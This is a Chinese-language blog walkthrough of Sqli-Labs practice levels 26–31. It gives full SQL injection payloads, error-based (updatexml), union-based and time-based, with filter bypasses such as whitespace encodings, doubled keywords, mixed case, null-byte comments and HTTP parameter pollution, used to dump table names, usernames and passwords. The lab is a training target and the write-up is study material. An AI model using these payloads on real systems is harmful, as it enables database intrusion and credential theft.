Sqli-Labs 闯关 less 26-31

Less 26

 这一关我们发现跟前面的还不一样,看一下源代码,发现这关过滤了注释和空格的注入。

 

 

 对于注释和结尾字符的我们此处只能利用构造一个 ' 来闭合后面到 ' ;对于空格,有较多的方法:

 

%09 TAB键(水平)

%0a 新建一行

%0c 新的一页

%0d return功能

%0b TAB键(垂直)

%a0 空格

 

or可以用||替换

and可以用&&   %26%26

注释符用;%00替代

 

 

方法一:updatexml报错注入

获得数据库:?id=0' || updatexml(1, concat(0x7e, database())  ,1)  || '1'='1

 

 爆表:?id=1' || updatexml(1, concat(0x7e, (select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=0x7365637572697479))) ,1)  || '1'='1

 

 爆列:?id=1' || updatexml(1, concat(0x7e, (select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name='users'))) ,1)  || '1'='1

 

 爆信息:?id=1' || updatexml(1, concat(0x7e, (select (group_concat(  concat_ws(0x7e,username,passwoorrd)  )) from (security.users))) ,1)  || '1'='1

 

 这种方法输出不会太多,我们需要改变id的值一个一个去查。。

 

 

方法二:用%a0代替空格   ;%00作为注释符:

因为apache的解析的问题,我这的windows下无法使用一些特殊的字符代替空格。所以我们更换到Linux平台下。

我们可以在kail的docker下安装sqli-labs。。具体过程可以自行百度。。

 直接爆用户名密码了:

 

Less 26a

这一关与上一关的区别在于,在后面加了括号进行闭合。同时不能再用updatexml报错注入了,只能代替绕过。

爆库:?id=0')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1

 

 爆表:?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1

 

 爆列名:?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1

 

 

爆用户名密码:id=0')%0bunion%0bselect%0b1,group_concat(username,0x3b,passwoorrd),3%0bfrom%0busers%0bwhere%0b('1')=('1

 

 

Less 27

我们观察代码,发现多了个select和union转义,并且区分了大小写。

 

 所以我们就用URL编码和大小写进行绕过,其他和上一关一样

爆库名:?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1

 

 爆表:?id=0'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0'1'='1

 

 爆列:?id=0'%a0uniOn%a0sElEct%a01(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1

 

 爆用户名密码:?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,'3

 

 

Less 27a

这关就是把27关的单引号变成双引号,其他都一样。

直接爆用户名密码了,过程一样:?id=0“%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,”3

 

 

Less 28

 这一关是基于错误的,有括号的单引号字符型,过滤了union和select等的注入。

 

 

 爆库名:?id=0')UNion%a0SElect%a01,database(),('1')=('1

 

 

 爆表名:?id=0')UNion%a0SElect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0('1')=('1

 

 

 爆列名:?id=0')UNion%a0SElect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0ANd%a0table_name='users'%a0%26%26%a0('1')=('1

 

 爆用户名密码:?id=0')UNion%a0SElect%a01,(group_concat(username)),3%a0from%a0users%a0where%a0('1')=('1

 

 这是联合查询语句来做得。还可以用时间注入的方法。

比如?id=1') %a0 %26%26 if( length(database())>1, 1, sleep(5)) ;%00

 

 

Less 28a

跟28关基本一致,只是代码过滤的问题。用28关的代码就行。

 

Less 29

这一关叫做基于WAF的一个错误。我们还是先做测试输入双引号正常,输入一个引号发生错误,两个引号正常。

 

 

 

 现在注入payload。爆库:?id=-1' union select 1,2,database()--+

 

 爆表:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-

 

 爆列:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

 

 爆用户名密码:?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+

 

 emmmm怎么说呢,就是感觉这一关太简单了。。又看了看别人的,具体可以试试。

可以看一下这个博客,http://blog.csdn.net/nzjdsds/article/details/77758824

里面的jspstudy需要搭建环境jspstudy:https://www.xp.cn/download.html

利用tomcat与apache解析相同请求参数不同的特性,tomcat解析相同请求参数取第一个,而apache取第二个,如?id=1&id=2,tomcat取得1,apache取得2

 

 

 Less 30

与29关一样。只是把sql的闭合变成了双引号。

爆用户名密码:?id=1&id=0" union select 1,2,group_concat(username,0x7e,password) from users--+

 

 

Less 31

 

和前两关一样,只是闭合变成了,”) 

 

posted @ 2020-02-10 14:44  戚源  阅读(313)  评论(0编辑  收藏  举报